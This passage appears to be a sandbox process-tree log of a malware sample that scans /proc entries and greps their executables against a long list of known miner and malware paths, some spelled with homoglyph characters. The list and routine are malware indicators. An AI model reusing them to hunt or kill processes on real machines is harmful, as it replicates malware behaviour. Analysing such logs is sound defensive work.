  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:860
- /bin/grep
  grep exe
  2⤵
  PID:863
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:862
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:865
- /bin/grep
  grep exe
  2⤵
  PID:868
- /bin/ls
  ls -latrh /proc/225
  2⤵
  PID:867
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:870
- /bin/grep
  grep exe
  2⤵
  PID:873
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:872
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:875
- /bin/grep
  grep exe
  2⤵
  PID:878
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:877
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:880
- /bin/grep
  grep exe
  2⤵
  PID:883
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:882
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:885
- /bin/grep
  grep exe
  2⤵
  PID:888
- /bin/ls
  ls -latrh /proc/320
  2⤵
  PID:887
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:890
- /bin/grep
  grep exe
  2⤵
  PID:893
- /bin/ls
  ls -latrh /proc/322
  2⤵
  PID:892
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:895
- /bin/grep
  grep exe
  2⤵
  PID:898
- /bin/ls
  ls -latrh /proc/324
  2⤵
  PID:897
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:901
- /bin/grep
  grep exe
  2⤵
  PID:905
- /bin/ls
  ls -latrh /proc/351
  2⤵
  PID:904
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:907
- /bin/grep
  grep exe
  2⤵
  PID:911
- /bin/ls
  ls -latrh /proc/353
  2⤵
  PID:910
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:914
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:917
- /bin/grep
  grep exe
  2⤵
  PID:918
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:921
- /bin/grep
  grep exe
  2⤵
  PID:924
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:923
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:927
- /bin/grep
  grep exe
  2⤵
  PID:934
- /bin/ls
  ls -latrh /proc/375
  2⤵
  PID:933
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:936
- /bin/grep
  grep exe
  2⤵
  PID:940
- /bin/ls
  ls -latrh /proc/377
  2⤵
  PID:939
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:943
- /bin/grep
  grep exe
  2⤵
  PID:947
- /bin/ls
  ls -latrh /proc/387
  2⤵
  PID:946
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:950
- /bin/grep
  grep exe
  2⤵
  PID:953
- /bin/ls
  ls -latrh /proc/399
  2⤵
  PID:952
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:956
- /bin/grep
  grep exe
  2⤵
  PID:960
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:959
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:962
- /bin/grep
  grep exe
  2⤵
  PID:966
- /bin/ls
  ls -latrh /proc/470
  2⤵
  PID:965
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:969
- /bin/grep
  grep exe
  2⤵
  PID:973
- /bin/ls
  ls -latrh /proc/477
  2⤵
  PID:972
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:976
- /bin/grep
  grep exe
  2⤵
  PID:979
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:978
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:983
- /bin/grep
  grep exe
  2⤵
  PID:986
- /bin/ls
  ls -latrh /proc/510
  2⤵
  PID:985
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:989
- /bin/grep
  grep exe
  2⤵
  PID:993
- /bin/ls
  ls -latrh /proc/514
  2⤵
  PID:992
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:995
- /bin/grep
  grep exe
  2⤵
  PID:999
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:998
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1002
- /bin/grep
  grep exe
  2⤵
  PID:1005
- /bin/ls
  ls -latrh /proc/684
  2⤵
  PID:1004
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1008
- /bin/grep
  grep exe
  2⤵
  PID:1012
- /bin/ls
  ls -latrh /proc/69
  2⤵
  PID:1011
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1015
- /bin/grep
  grep exe
  2⤵
  PID:1019
- /bin/ls
  ls -latrh /proc/698
  2⤵
  PID:1018
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1021
- /bin/grep
  grep exe
  2⤵
  PID:1024
- /bin/ls
  ls -latrh /proc/699
  2⤵
  PID:1023
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1027
- /bin/grep
  grep exe
  2⤵
  PID:1033
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1032
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1035
- /bin/grep
  grep exe
  2⤵
  PID:1039
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1038
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1043
- /bin/grep
  grep exe
  2⤵
  PID:1047
- /bin/ls
  ls -latrh /proc/703
  2⤵
  PID:1046
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1051
- /bin/grep
  grep exe
  2⤵
  PID:1054
- /bin/ls
  ls -latrh /proc/704
  2⤵
  PID:1053
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1057
- /bin/grep
  grep exe
  2⤵
  PID:1061
- /bin/ls
  ls -latrh /proc/705
  2⤵
  PID:1060
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1064
- /bin/grep
  grep exe
  2⤵
  PID:1068
- /bin/ls
  ls -latrh /proc/706
  2⤵
  PID:1067
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1071
- /bin/grep
  grep exe
  2⤵
  PID:1074
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1073
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1077
- /bin/grep
  grep exe
